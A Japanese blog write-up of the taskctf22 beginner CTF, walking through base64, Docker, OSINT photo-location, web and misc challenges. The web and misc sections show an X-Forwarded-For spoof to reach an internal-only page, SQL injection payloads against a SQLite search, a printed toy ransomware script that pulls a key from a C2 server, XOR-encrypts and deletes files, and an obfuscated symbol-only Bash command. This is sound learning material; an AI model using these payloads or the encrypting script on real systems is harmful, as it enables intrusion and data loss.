🐈

taskctf22 Writeup

2022/12/05に公開

はじめに

2022/12/3に開催されたtaskctf22に参加したので、そのwriteupです。初心者〜中級者向けCTFでとても楽しめました(^^)

ちなみに17位でした。来年も開催されたら全完したい!

tutorial

just_google_it

108 Solves, 10 pts

分からないことがあれば、自分で調べてみましょう!
添付ファイルの文字列からFlagを取得してください!

Base64でデコードすると、Hello!が大量に書かれているので、sedを用いて消すとフラグが出る。

$ base64 -d -i base64_encoded.txt | sed -e 's/Hello! //g'
taskctf{Y0u_n0w_know_base64!}

taskctf{Y0u_n0w_know_base64!}

try_python

102 Solves, 10 pts

Pythonはインタプリタ型のプログラミング言語です。計算やファイルの読み書き、ネットワーク操作などを簡単に実行できるため、CTFではよく利用されます。
Pythonを使って配布ファイルに書かれた数字を全て足してみましょう! Flagは taskctf{ファイルに書かれた数の合計} です。

AI Programmerに書いてもらった。神。

お願い文章
numbers.txtに書かれている数字を空白ごとに読み取り、全て足して出力してください
solve.py
with open('numbers.txt') as f:
 numbers = f.read().split()
 print(sum(int(number) for number in numbers))
$ python solve.py
250000

taskctf{250000}

build_docker_environment

68 Solves, 10 pts

DockerとはOSレベルの仮想化技術です。簡単にいうと、どのPCでも同じ環境をコマンド1つで作成できるようになります。これにより、皆さんのPC上でもデバッグを行うことができます。
配布ファイルに含まれるapp/app.pyのコメントを外してDockerコンテナを起動し、Flagを取得してみましょう!

app/app.pyのコメントを外してコンテナ起動。

$ docker compose up --build
$ curl http://localhost:31777
...
<body>
    <h1>build docker environment</h1>
    <code>taskctf{D1d_y0u_run_d0cker_c0nta1ner?}</code>
</body>
...

taskctf{D1d_y0u_run_d0cker_c0nta1ner?}

osint

welcome

130 Solves, 100 pts

2019年のtaskctfのwelcome問題のFlagは何でしたっけ?

「taskctf 2019 writeup」で検索すると、st98さんが書かれたwrite-upが見つかった。
https://st98.github.io/diary/posts/2019-12-06-taskctf.html

taskctf{let's_enj0y!}

ramen

106 Solves, 100 pts

このラーメン屋の名前は何でしょう?
正式名称ではなく、漢字のみで taskctf{ラーメン屋の名前}の形式で回答してください。 ラーメン屋の名前がラーメン二郎であれば、 taskctf{二郎} がFlagになります。

Google レンズにどーん。候補の最初に似た画像が!
taskctf{蝋燭屋}

kofun

61 Solves, 356

作問者が訪れてSNSにもアップロードしたはずの古墳の名前を思い出せなくなってしまいました... もしご存知なら教えてくれませんか?
Flagの形式はtaskctf{この古墳の名前の漢字表記} です。 例えば、 造山古墳 が答えならば taskctf{造山古墳} がフラグになります。

Google レンズにどーんしても出てこない。問題文を読み返すとSNSにもアップロードしたと書かれているので、Twitterで「task4233 古墳」で検索すると、問題の画像の他にもう1枚別の画像をアップロードしていた。その画像をGoogleレンズにどーんすると、龍角寺古墳群・第101号墳(千葉県)であることが分かった。これでFlagを提出すると、不正解だったので、考え直す。提出回数制限がなかったので、「古墳総当たり作戦」で突破できると思い、20くらい適当な千葉の古墳を提出したが、正解しない。あれ?と思って「千葉 古墳 数」で検索して詳しく調べてみると、千葉県の古墳数は全国4位 で、その数なんと1万2765[1]。多すぎる。

沼ってきたので、ヒントを見てみることに。

https://twitter.com/task4233/media に同じような画像はありませんでしたか?
関連している画像から、古墳群の名前を特定できませんか?
古墳群から少し外れている可能性もあるので、頑張ってググりましょう!

Googleマップで古墳群に近いところから順に調べていくと、問題とほぼ同じ写真を発見した。
taskctf{上福田岩屋古墳}

web

robots

50 Solves, 404 pts

Flagが漏洩してるって聞いたけど、本当ですか???

問題文より/robots.txtを見てみると、ヒットした。

User-Agent: * Disallow: /admin/flag

/admin/flagを見る。

401 Unauthorized
xxx.xxx.xxx.xxx is not internal IP address :(

ローカルネットワークからのアクセスのみ許可してるっぽい。この系統の問題どこかで見たな〜と思い、「internal IP CTF」で検索すると、Hi120kiさんが書かれたwriteupが見つかった。
https://hi120ki.github.io/blog/posts/20210523-2/
おそらく今回の問題も同様にX-Forwarded-Forヘッダーの設定に誤りがあるはずである。

$ curl -H 'X-Forwarded-For:127.0.0.1' http://xxx.xxx.xxx.xxx:xxx/admin/flag
...
    <div class="container">
        <h1>flag</h1>
        <p>taskctf{th15_c0ntr0l_y0u_th1nk_y0u_h4ve_1s_4n_1llu5i0n}</p>
    </div>
...

taskctf{th15_c0ntr0l_y0u_th1nk_y0u_h4ve_1s_4n_1llu5i0n}

first

29 Solves, 469

運営している小さな掲示板が100ユーザを達成しました 🎉
そこで、メンテ明けの12/6に100番目ちょうどの登録をしたユーザをトップページで掲載したいので、ユーザ名を taskctf{ユーザ名} で教えてください!

この掲示板に備わっている検索機能にSQLi脆弱性がある。問題コードを読むと、sqliteが使われていることも確認できる。

app/app.pyの一部
cur.execute(f"SELECT posts.id, users.name, posts.body FROM posts INNER JOIN users ON posts.user_name = users.name AND posts.body LIKE \'%{q}%\'")

目的は100番目ちょうどの登録したユーザーを当てることなので、どうにかしてユーザーのアカウント登録時間を知りたいが、usersテーブルにはcreated_atみたいなカラムはない。そこでシンプルにusersテーブルの上から100行目が100番目に作成したとし、以下の文字列で検索してみる。

' where users.name = (select users.name from users limit 99, 1) --

Taro_Gotoがヒットした。これでフラグを提出すると不正解。やり直し。コードを読み返すと、ユーザーidはuuid7で生成していることが気になった。uuid7の説明を読んでみる。
https://pypi.org/project/uuid7/

Version 7 has the nice characteristic that the start of a UUID encodes the time with a chronological sort order and potentially ~50ns time resolution, while the end of the UUID includes sufficient random bits to ensure consecutive UUIDs will remain unique.

時間ソート可能みたい。order byを付け加えて再検索する。

' where users.name = (select users.name from users order by users.id asc limit 99,1) --

taskctf{Satomi_Kato}

misc

ransomware

50 Solves, 404

友人が誕生日祝いで送ってきたスクリプトを実行したら、お手製ランサムで手元のFlagを暗号化されてしまいました。どうにかして復元できないでしょうか?

hbd.shにBase64でエンコードした文字列があるので、デコードするとPythonで書かれた暗号化用コードになった。

#!/usr/bin/env python3

import requests
import glob
import os

C2 = "https://c2.task4233.dev/bD7bB7pc57d2"

def main():
    # get a key from a c2 server
    key = int(requests.get(C2).text)

    files = glob.glob('./*')
    # added for CTF:)
    assert "./taskctf_flag.txt" in files

    # encrypt all files
    for file in files:
        # ignore this script and directories
        if os.path.basename(file) == os.path.basename(__file__):
            continue
        if not os.path.isfile(file):
            continue

        # encrypt a target file
        data = None
        with open(file, 'r') as f:
            data = f.read()        
        encrypted = ""
        for ch in data:
            encrypted += chr(ord(ch) ^ key)
        with open(f"{file}.encrypted", 'w') as f:
            f.write(encrypted)
        
        # delete the raw file
        os.remove(file)
    
    print('\033[31m!!! YOUR FLAG HAS BEEN ENCRYPTED !!!\033[0m')
    print('\033[31mYou have two choices. Treat me when I see you next time, or decrypt it yourself if you can lol.\033[0m')

if __name__ == "__main__":
    main()

keyはC2から入手し、chr(ord(ch) ^ key)で1文字ごとに変換している。

  • 排他的論理和にはx ^ y ^ y == xという性質がある
  • ord()とchr()は逆の動作を行う
  • 同じkeyを使い回している

この3点からkeyが分かれば簡単に復号できそう。しかし、C2にアクセスできず、keyが入手できない。そこで、ゴリ押しでkeyを求めることにした。フラグを暗号化しているので、先頭の文字を復号に成功するとtになるだろうと決めつけ、以下のコードを書いて実行したらフラグを入手できた。

solve.py
with open('taskctf_flag.txt.encrypted', 'r') as f:
  data = f.read()

# KEYを求める、復号してtになればok
key = 0
while True:
  if chr(ord(data[0]) ^ key) == 't':
    break
  key += 1

flag = ""
for ch in data:
  flag += chr(ord(ch) ^ key)

print(flag)

taskctf{x0r_1s_e4sy_70_1mplemen7}

shellgei

16 Solves, 491

記号のみのBashスクリプトでFlagを表示してください!

Bashスクリプトでcat ./flag.txtを実行することができればフラグを入手することができるが、!"#$%&'()*+,-./:;<=>?@[\]{}^ _\n以外の文字が含まれた場合、~ is not allowedと言われ実行されない。「Bash 記号のみ」で検索すると、いい感じの記事が2つ見つかった。
https://www.ryotosaito.com/blog/?p=178
https://www.ryotosaito.com/blog/?p=194
この2つの記事をがっつり真似しながら、以下のBashスクリプトを書き上げたらフラグが手に入った。

__=$(($$/$$)); ___=$(.&>/???/??/$__);___=${___##*.};____=$(($__+$__));_____=$(${___:($____$(($$-$$))-$__):$__}${___:($____*$____*$____):$__}${___:($____$(($$-$$))-$____):$__} -${___:$__$(($__+$____)):$__} .>&/???/??/$__);_____=${_____##*${___:($____$(($$-$$))-$__):$__}${___:($____*$____*$____):$__}${___:($____$(($$-$$))-$____):$__}};______=${_____,,};${______:$__$(($____*$____*$____-$__)):$__}${___:$(($____*$____+$____)):$__}${___:($____$(($$-$$))-$____):$__}  ./${___:$__:$__}${___:$____+$__:$__}${___:$(($____*$____+$____)):$__}${___:$__$(($__+$____)):$__}.${___:($____$(($$-$$))-$____):$__}${______:$__$(($____*$____+$__)):$__}${___:($____$(($$-$$))-$____):$__}

taskctf{I_g0tt3_6e_re4l_w1th_y0u}

脚注
  1. 平成28年度埋蔵文化財関係統計資料 より。https://www.bunka.go.jp/seisaku/bunkazai/shokai/pdf/h29_03_maizotokei.pdf ↩︎

Discussion